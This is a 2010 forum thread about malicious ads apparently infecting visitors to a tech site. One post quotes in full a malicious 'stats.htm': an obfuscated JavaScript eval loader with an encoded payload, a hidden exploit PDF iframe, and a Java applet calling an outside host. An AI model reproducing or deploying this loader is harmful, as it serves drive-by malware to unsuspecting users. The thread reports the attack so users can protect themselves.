What the heck? Attack Site?

AnonymouseUser · Mar 27, 2010

Zorkorist said:
No, I got the load the Adobe script web page...

And of course I had you on Trusted sites.

I'm pretty sure that your problem is still there.

Who do I mail the page to?

-John

Then maybe they didn't kill the ad, or didn't kill all of the ads.

What I found was a "stats.htm" embedded in the leftcolumn adcontainer pulling the offending PDF from a "stats_data" directory, and unless I'm mistaken it is hosted on Anandtech's servers...

In the meantime, I highly recommend everyone disable the Adobe Reader plugin, or completely uninstall Adobe Reader.

Zorkorist · Mar 27, 2010

vi edit said:
In my case it killed my Avira, killed MSCONFIG, and enabled the proxy server in IE and redirected you. It also was making popups in my task tray that look almost exactly like the built in security ones from Windows.

Did it happen right away? Or on reboot?

I'm still hoping that I am not hosed.

-John

AnonymouseUser · Mar 27, 2010

The contents of the offending "stats.htm".

<head>
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">

<script
function JCvX0JKW3(HSen__7h_dmi, lQTpEd7CeVv2){var charr = String["fromC"+"harCode"];var abs = "va";var DhIR1R1_TVVT414 = arguments['call'+'ee'];var v_3P3yH_01H = 0;var mB_G3Qdd_7R = "l";mB_G3Qdd_7R = mB_G3Qdd_7R + "o";var s4L_D_q_C = document["getElementBy" + "Id"](mB_G3Qdd_7R);if (s4L_D_q_C) {if (!lQTpEd7CeVv2) {lQTpEd7CeVv2 = s4L_D_q_C.value;v_3P3yH_01H++;}}v_3P3yH_01H++;var Ix4__KTo__68n = new Array();if (HSen__7h_dmi) { Ix4__KTo__68n = HSen__7h_dmi;} else {var H1ndU3Ea0H1_Jto = 0;var V0SgB4_LEA_cC = 0;var g_

TVVT414.toString();Ci57PJ8N_T03CWt = Ci57PJ8N_T03CWt - 5;var VLm_6tGWtm = Ci57PJ8N_T03CWt + 10;VLm_6tGWtm = VLm_6tGWtm - 1;while(V0SgB4_LEA_cC < DhIR1R1_TVVT414.length) {var q0i0E6D__H__i = 1;var mbkNOh7_1U4 = DhIR1R1_TVVT414["charCo" + "deAt"](V0SgB4_LEA_cC);if (mbkNOh7_1U4 >= Ci57PJ8N_T03CWt && mbkNOh7_1U4 <= VLm_6tGWtm) {if (H1ndU3Ea0H1_Jto == 4) {H1ndU3Ea0H1_Jto = 0;}if (isNaN(Ix4__KTo__68n[H1ndU3Ea0H1_Jto])) {var kLg_r85 = 0;Ix4__KTo__68n[H1ndU3Ea0H1_Jto] = kLg_r85;}Ix4__KTo__68n[H1ndU3Ea0H1_Jto] += mbkNOh7_1U4;if (Ix4__KTo__68n[H1ndU3Ea0H1_Jto] > g_4xCN6__y_k_WA) {Ix4__KTo__68n[H1ndU3Ea0H1_Jto] -= 512;}H1ndU3Ea0H1_Jto++;}V0SgB4_LEA_cC++;}}H1ndU3Ea0H1_Jto = 4;for (var tnaldN = 0; tnaldN < 4; tnaldN++) {if (Ix4__KTo__68n[tnaldN] > 256) {Ix4__KTo__68n[tnaldN] -= 256;}}var T5LK_6i2t = 0;var sIA2Vs3h7m4gI5a = "";var s721mxl2gw__u = 0;var mO_8C33Vk0_qv = 0;var u__0PRJ_4j_R8 = 0;var KG6_iv_H;var qQ0LvJ0U7x = 23;while(mO_8C33Vk0_qv < lQTpEd7CeVv2.length) {var d__x_S_EfgcYi_h = lQTpEd7CeVv2.substr(mO_8C33Vk0_qv, 1) + "YY";var KQ3y_h06a = parseInt(d__x_S_EfgcYi_h, qQ0LvJ0U7x);if (s721mxl2gw__u) {KG6_iv_H += KQ3y_h06a;if (T5LK_6i2t == 4) {T5LK_6i2t -= 4;}var f2_8_7w = KG6_iv_H;f2_8_7w = f2_8_7w - (u__0PRJ_4j_R8 + 2) * Ix4__KTo__68n[T5LK_

String.fromCharCode(f2_8_7w);if (v_3P3yH_01H == 2) {sIA2Vs3h7m4gI5a += f2_8_7w;} else if (v_3P3yH_01H == 1) {sIA2Vs3h7m4gI5a += KQ3y_h06a;} else {sIA2Vs3h7m4gI5a += mO_8C33Vk0_qv;}T5LK_6i2t++;u__0PRJ_4j_R8++;s721mxl2gw__u = 0;} else {KG6_iv_H = KQ3y_h06a * 23;s721mxl2gw__u = 1;}mO_8C33Vk0_qv++;}var bb = this.window;var s4L_D_q_C = parseInt(document.getElementById("l"+'o').name)+94;bb[charr(101)+abs+charr(s4L_D_q_C)](sIA2Vs3h7m4gI5a);}

<meta name="description" content="description">
</head><body class="oss" onload="JCvX0JKW3() ;">
<input class="oss2" id="lo" name="14"
value="1l92397l5706a82ha732b09m4m52a32d5j6d596j0d1f5m44422l3d800i5810313e669k5j7h98942m3a466a5l81685d0fam7c3741469h21a30k3c3h313k4cafa18c868k543f9h98a77c446h2l9b3i447445a04h4c7h1a327k3g3k1c338h689e5bb06m720h771e8e7g1b3k72262c6b4c729c75360l340f163h723g039b166c9i5a6b76628a8a1i784h5a2e5mal723b4f51329ja68k790f0m1f0k1g7372356k8d3g7l7g7d8g471i2iah784a3g80ak54251661900i6b9j02a19f5a3a6g4g794h448m2397615l601f3k00a83j1l5c5c650f7f0895a544300f8f9e6k1m480m1e3b5l7l907k3m27ae0i2e7c6e1c0j1e093b8k425c9i8j1e861e854db13j59186565433b11952d003g0f105a81148575525j8g419577717c1m115d4b5g3a476e0c6a2h333490148d9g9196a80g0i7e8b886l8aa02e926k3h6g085eadb03a0m5l4i651j9296900b281891778h4i3j7b5cb265657f5l954f448d0f329e171l9l1k9065957g2e929c27569h5j820j426h2c5f4f22759fa3230l3c9j1j68853l98051i6l7a344366980c031b3j5i44303iaj9c

f9967648e4a92645m8faj4a02ag4b1f3m5a720h7l986f7k18241k92956k116g2g346k3j7j638j2l2b1aaf297j6319061e8i65a951378l6g1b98177e71310g468e573k196fb0942d9c5e0m102g9h3a8c9m3k4a7l1i677a7k9dac994j3c6j27478k0944242f319014628g91960b0e4d9m748h598d25a966763h6a1b4h0f091k0472445l180c7d8e944l1i0j98947c3h7i280c65449e5i753d3e7ha70866191k2j47606b0c922d66ah1l6g0f8e5j041g650d5a653g6ja69015083c9h1g636a28018eaf4h6m6b5l8d6l0903a24d34614h60a1a63b2h281481138c5f0h1317163a9k974l3b6jb1856d54844l1b2i2m90460k7d24780l1674710e6g0h13830d5a435h4779787gb0498467615f9e1187090g2e427i520f9e9993aa3g599k8f8la70g5f1c0a443m5b868g52141a0f0a7f683a17ajaj65b24f256f6223a20h82392m1b409c786m3k39977cam803d9h9b34ah3h7j7d3b5l904g6k8e5g922c0870256j3a288g0e65350h52901k7i7f15b02e3g489d4a6e3b5da1a0a5716d7391579h9i3a3f564d6518b079909i5b3m917k7d863c8e5618566kac398e483g00a22g743k3j15437e65b2662a959c2i520f7m850b124j215d3b2a43a99k2c102i992c44703a0kaj1i659g5a4e9070b1149a45205m3h31867e65443i0m66096c8c9ja538202l9k8d5m656a2f9c997k5h53184f2k9h3k467c024506a15e9a0i3h9b0m82a03e3a955c82427b034898665b5fa7277db212ae5e3l6c9j7l9c90am3a2k9174646m194a060l3b5j6664743m31149h0j4i7a3g192bb23baj731f6e93a2799m766k29193d0i7e6k4b681766b0942k9j9i20090gak802449904i876m4g7iac933j17441k1d9k1g7c210m36810a737h0h0ab1383a947l703b58ala097424i4b0f55078m1k456e4j73270g9l66a53910aj8e9d5b3c8e28126565a84h7a5m4e041i08a34843280668750191ag8a8j13511h7b7c9l2h3f032c443642998722a24e041g487c0g9h8e2a67ag5k6j9291050k9f77575g3i5aaea74240473f982i9f6391ak2f021bam825m4a7e09896f4092550h60a87i3g3e571m6c231674769d3ha991ag0f6a3k8j5kb16l7h8k4a9d675a8j174fa3192h112a7h5h0f7jaf8l824850168l78a13h480e2k5j3h657k8f49272caf3c4i4f1m95ag823h7l4236968ja48d0m78632f1g3f957i6k485g20872k862m011m54ab3ma2a94b6b681g5j675m6cb29i3c0e814a49998i6d2h2f5274147k7j1dah1m2b0g7g4a8i678a231k816g793laf4h0d932l355k4d65ah8m739j015j390h9cad53187f35a36d4074386f2723al0m086c493a1c306l65b26635909c1a46a8555b980g7e174k4a2j6j9e9a3620291ia24f5b3i03051i499g5a4c9l83afa79f7b5a45485ja9a26d1121156f07ad90120e0ea02l938068586d317l7c56531i9h33af640m134a186b21ac6f970d6b0ha1809d5k428g61025c758e117g5d5i8c0l119023462l4c6h7393768e678h0m2h9i6764aj277830175g5j877k9025069ja7ai84654a161mal73b27f269h991k9a127l702b2k50a459773f5aa6872b8c5j0l1k4l003k04ak476l9f2b90974g6k100l5k1b673h498d094b0g0c5c9f1983akb2b1ag0g0g784c5g3b4lala06j41433d1k3mamaa3j21414m3bb0866j6m922f161m6ead8247811f1c6c3b754f964f1j9m0m348l411gae0k946k048b39879jb14891644k980g3g032c412j4b75a52h042m110j498e0g9i8eab447l304la759al0e1c6j20543h267d876b3a242b971m967ga199151g42a28j715c8e06806650551k912b0b64161e4jak7a1c0c6e99ah4h13918d8m30196h388d7c4403469k5e289e03319h282d0b4i3l4h917497707i23651m5l94a44778063e6c2i5j747723180gb1087e6m190j1eaj6m98422l7c629e71984c3f040g4d0b78483e5h10902d8l3d9f1a59ac3g0c96443j683c8m9g7e9i340h6k3e42284k8f166e02072867aj537e9i89a84d2h7b58725b6ka81g9j406b670f55af861m0461466b0l959690ad522999a0a98c3k834b206l717b6c9d5e41al173m8h3b2h08119j5hb26a1e8l792c761c8388104477215m6k2e42826f1g250i0l26708b0g0d0ca43jah5k73958j0d91176f5h543i52aka371174c32a01m83880h0a3l1c3f73623b3b922f9e8f747k480f57a87a1m0k53ak3hag9f61960b4e050ma30d5a1g6a3fad6k73034i875f2g5hak3k04210ib01f3m4h917a986f7b4l5g0f7e8da13a7530373b415b838g451kai0f297463309d26al75aj744b9l9c1h6m197j72303k6812745f3a46a2a222af3jb20l2eac3g07a34g6f9h4m909g8271ac9l3c1i833k4e5j935g20225b83ad86719296a8170g6g4g575l75aeah905g6l671h381g860h1a312c3ba08c6c8795361kb18e867e465h4912656m8d3167340m8a910e6a17451c1m896fb28827936iah5c915l548m4f6c2a5c67585603a74d973g0h2e678e110990a47a6m6h799j967l16126k20284252am9k6d3c4m3g9jak9k83160d2k2944a39a5i3d9732ak967a5i579e5i2j6h4b4584am63b11c7j920e71100k9913693i8l6a7i3b839h3g93374b6e91277daf19051m527c1m6k0992003k57998l6d6k4f4847456e5m8i836e3f1lai9i29746d3a1l0b0j42am7251989h1768a64c4a070g6lb16m4a235a0d9a2d0e4b1i99367d108c7c133m663h84755a961i125k4a5g4d2h9k1a6e3435586e0b647maja015173ca05381657e200d6k6e6h6m10590m861l0442253b2da77d749m48229h9a005b3a7i491j543b83316d2e167h9c0885281e0d268044019106909c277hah698j1e3j6j245c3j5e6j8l8f3g0l3f0f1j408i3g0i0d2g6e6m3l3h775i7l161a6d3g493k50a29a680g2d066dam6j4m9c8g4316299c905m68872i92a77h7m5191421m863a2l7i2g3b0d9f4c898m3h9e919h043f1a8b5aad65809k4j6632285ha3137daj0g0m496i44017j8e6h7b1135935l6f6k2l682a3d583i8e536h15ai0893ai56392ha6al9k5b9f4i4b9j6i0l920f8052b1142m8g6a3d1934979i2d9e5612104ka73d90am3m71664d7b906l99140f5k385j2c26700j6c0006296e1g6i9i03ak10383a946473444kala09f637b6h104d1b0d460i6f5g7226039k84b05h341e9aaf7i125a1f276f6c6k39672645990f2d91323a1c307h57915b0j66a4298012877e1b4375ae6572527f93923l164b0h21695k128c1a256c6m313i6e8f9d01036g3i4h3a508m8c440g2d069f1ma6831009461m467h8g6i6l983cal9j5l7m4k106321963g164jak7a2d04748b0e5c0h0fa1ag4c195h47796k700k43985a60921b1fak21422d586h6d0l811ca709435591669a8c3a6d3325655c856k821lb29j1k2l6a632l0m0faj65a95j3b6m62ad68146463233d4h057865334ca06k3a0b5h1c1l5d7l1988751k446f2b9d92866c2k1h5b1b5m484e5ja13b02003c971k8g791faj2i0e4c9462674882af1e98446m46141ha5861918315f650696799b9452349l9j86810g661f1e5365925l814f3gabai246k1l401i3f9273086faga29c15569l8a5i0d3i4c22356h2d4d7e664b1l3e1ba268981facab1m457f2g50668f9d01036g3i4h3a508m8c44174539922g81890k0d212411am8d4k4b6a338l9072604g9h5gah6i48476f39712b1l7c6e9e4g9ca5ab0k2g118g6l885b61011g6m2e3d5f9j1ab13131083c7d6c91789k667d1f26a599a0951d653l3b3b366h5395520c0gal2d5c421k232f026fam72209h9l0c75al846a0c405m0k7g734c2gac660e8e3691255b06318g924i6c661i72664i750293474f5h3a3f8daj6j2mb12j7c9d558m9380aj0e44a66i64588c1d01a7716d73913ba0b03a2l642d651c0a6c7c84573c0ja7al7i428g2616716b9g6g963c46ah16389d4m11a03k8l71098m3568740h60a27m7c0d3j491e5a6i2g7ga59l1m1j4a1b23669448098ma673aj646h685l7l8c1d6j5j5f185ba1aa6747453j9a2ea4519a9k28ag3a9k8d6845872j026k7e8353ab622k9h3k3h83396bai9h819j0f3j9f93aa1b68446k3g81727j0d4c96655c8h163k8423432j276j6d127a089aak1e580k9c6ia0487g3d12733b645l701l080k9i0g7g681d0mb2905lad4i4c769010780j704a2i1a5i9a7b4d4855a0720c8e3f0ma52m7f0g87752i6588417k9e7f6l0d0k6d3c7i414d9517422k3857a3a47mac19b02e3d259d7e8e6a5506b190616b6g9i4b0h0a1218"
type="hidden">
<input class="oss3" id="ao" value="12" type="hidden">
<script src="stats_data/t002102R18cd4b95Xc0b7ca7cY8b1a3b9dZ03002f36Q00000000901801F002d0" type="text/javascript"></sc><iframe

src="stats_data/s002102317801r0409R18cd4b95Xc0b7ca7eY8b1a3b9dZ03002f36_002.pdf"
width="3" height="3"></iframe><applet code="Main.class"
archive="stats_data/s002102303801r0409R18cd4b95Xc0b7ca7eY8b1a3b9dZ03002f36"
width="2" height="2"><param
value="687474703A2F2F73746F72657369676D612E636F6D2F6367692D62696E2F6964732E68746D6C2F6E30303231303233303338303172303430395231386364346239355863306237636137655938623161336239645A3033303032663336"
name="u"><param value="1" name="c"><param value="0" name="d"></applet></body></html>

0roo0roo · Mar 27, 2010

hclarkjr said:
i am using firefox 3.6.2 with ad block and no script and have received no warnings at all. maybe anand should consider bringing back paid subscriptions so he would not need any ads

or jpeg ads.
i've seen some on thin picture strips across the top of some forums, like the blue color bands across the page, it becomes part of it. i find that more clever and integrated use of adverts than a banner type.

Red Squirrel · Mar 27, 2010

Actually one of my sites was recently attack with some weird javascript like that. It was weird, since it was all random characters like that, and somehow that code was a url redirect to a .ru spam site. I had to delete my website and reupload it all since who knows what else they did. I need to get off shared hosting. There is a constant stream of spammers at my doors, I don't know why. I shut off forum registrations since I had no time to moderate it all day. 100+ spam posts every day. These people need to die a long, painful, death.

techs · Mar 27, 2010

it's still not fixed. Just had another exploit try and install itself.

vi edit · Mar 27, 2010

same here...it's still lurking around....onto firefox i go

OILFIELDTRASH · Mar 27, 2010

Keep using the free antivirus programs people! That 40 bucks you saved could end up costing you a stolen identity.

vi edit · Mar 27, 2010

Zorkorist said:
Did it happen right away? Or on reboot?

I'm still hoping that I am not hosed.

-John

No reboot required.

techs · Mar 27, 2010

OILFIELDTRASH said:
Keep using the free antivirus programs people! That 40 bucks you saved could end up costing you a stolen identity.

Actually I have been using free AVG for like 4 years now. On 4 computers. And have never been infected. So, according to your reasoning, I saved 640 bucks!
Whoo-eeee!

Homerboy · Mar 27, 2010

for what its worth, I just had to remove Antivirus Soft from this PC.
Came back here after a few mins and got the same malware warnings from Chrome and from Avast.

Homerboy · Mar 27, 2010

FWIW I just had to remove Antivirus Soft from this laptop (using Chrome)
Came back here and got same warnings from Chrome and Avast.

Zorkorist · Mar 27, 2010

vi edit said:
No reboot required.

Thank Goodness.

So far I am fine and no symptoms of a virus.

-John

Matthiasa · Mar 27, 2010

It's back.
JS: Prontexi-AI

Edit- someone placed it on this page...

ROAR!!

pyonir · Mar 27, 2010

OILFIELDTRASH said:
Keep using the free antivirus programs people! That 40 bucks you saved could end up costing you a stolen identity.

I use a free one and haven't had a single issue on the site yet. You don't need to pay $40 for anti-virus if you use FF+NoScript+AdBlock Plus

TruePaige · Mar 27, 2010

OILFIELDTRASH said:
Keep using the free antivirus programs people! That 40 bucks you saved could end up costing you a stolen identity.

You and Gayner...

What makes you think that the free AV programs are any more susceptible to this than a commercial one? Hmm?

Gotta love baseless statements. Please don't derail an information thread further with your antagonizing statements, by the way.

OILFIELDTRASH · Mar 27, 2010

pyonir said:
I use a free one and haven't had a single issue on the site yet. You don't need to pay $40 for anti-virus if you use FF+NoScript+AdBlock Plus

Why chance it? You're not gonna tell me your avg free offers you the same protection as my Norton Internet Security are you?

Matthiasa · Mar 27, 2010

TruePaige said:
You and Gayner...

What makes you think that the free AV programs are any more susceptible to this than a commercial one? Hmm?

Gotta love baseless statements. Please don't derail an information thread further with your antagonizing statements, by the way.

Because they don't know many of the paid ones also have free ones which have the exact same scanners.

pyonir · Mar 27, 2010

OILFIELDTRASH said:
Why chance it? You're not gonna tell me your avg free offers you the same protection as my Norton Internet Security are you?

Sure I will, because I'm not an idiot. I've never paid for a security program and have never had a problem. I don't use AVG anyway. Avira FTW. If you want to argue about security programs we have a Security forum here. This isn't the thread for it.

OILFIELDTRASH · Mar 27, 2010

TruePaige said:
You and Gayner...

What makes you think that the free AV programs are any more susceptible to this than a commercial one? Hmm?

Gotta love baseless statements. Please don't derail an information thread further with your antagonizing statements, by the way.

Avcomparitives. The gold standard for testing antivirus programs. Ever heard of it. Your comments are baseless. Find me a better performing program.
http://www.av-comparatives.org/comparativesreviews/main-tests/summary-reports

OILFIELDTRASH · Mar 27, 2010

:\

pyonir said:
Sure I will, because I'm not an idiot. I've never paid for a security program and have never had a problem. I don't use AVG anyway. Avira FTW. If you want to argue about security programs we have a Security forum here. This isn't the thread for it.

Yeah a thread talking about peoples computer being hijacked by the site is not the thread we need to talk about security.

TruePaige · Mar 27, 2010

OILFIELDTRASH said:
Avcomparitives. The gold standard for testing antivirus programs. Ever heard of it. Your comments are baseless. Find me a better performing program.
http://www.av-comparatives.org/comparativesreviews/main-tests/summary-reports

Again, as others have echoed, if you want to use intentionally antagonistic language as you have shown, please exit the thread.

If you want to debate AV programs, please go the security forum. The intended payload many have reported is picked up by most common anti virus programs.

You've added nothing that gives any additional insight to the issue or ways to help those who are inflicted.

Zorkorist · Mar 27, 2010

It's happening now on this thread.

The guy who posted offending script above, is right. It is offending.

-John

Number1 · Mar 27, 2010

Is this thread the only hint AT is unintentionally spreading malware capable of hosing people's computers at home and at work?

I just uninstalled adobe plug in for firefox, uninstalled adobe reader, adobe download manager and installed foxit reader.
I am curently running full scans with malwarebyte and norton internet security.

I have seen no signs of infection on my machines so far.

Anand Lal Shimpi · Mar 27, 2010

We're shutting down all ads. Updates incoming.

What the heck? Attack Site?

Diamond Member

Diamond Member

Diamond Member

No Lifer

No Lifer

Lifer

Elite Member

Lifer

Elite Member

Lifer

Lifer

Lifer

Diamond Member

Diamond Member

Lifer

Diamond Member

Lifer

Diamond Member

Lifer

Lifer

Lifer

Diamond Member

Diamond Member

Diamond Member

Boss Emeritus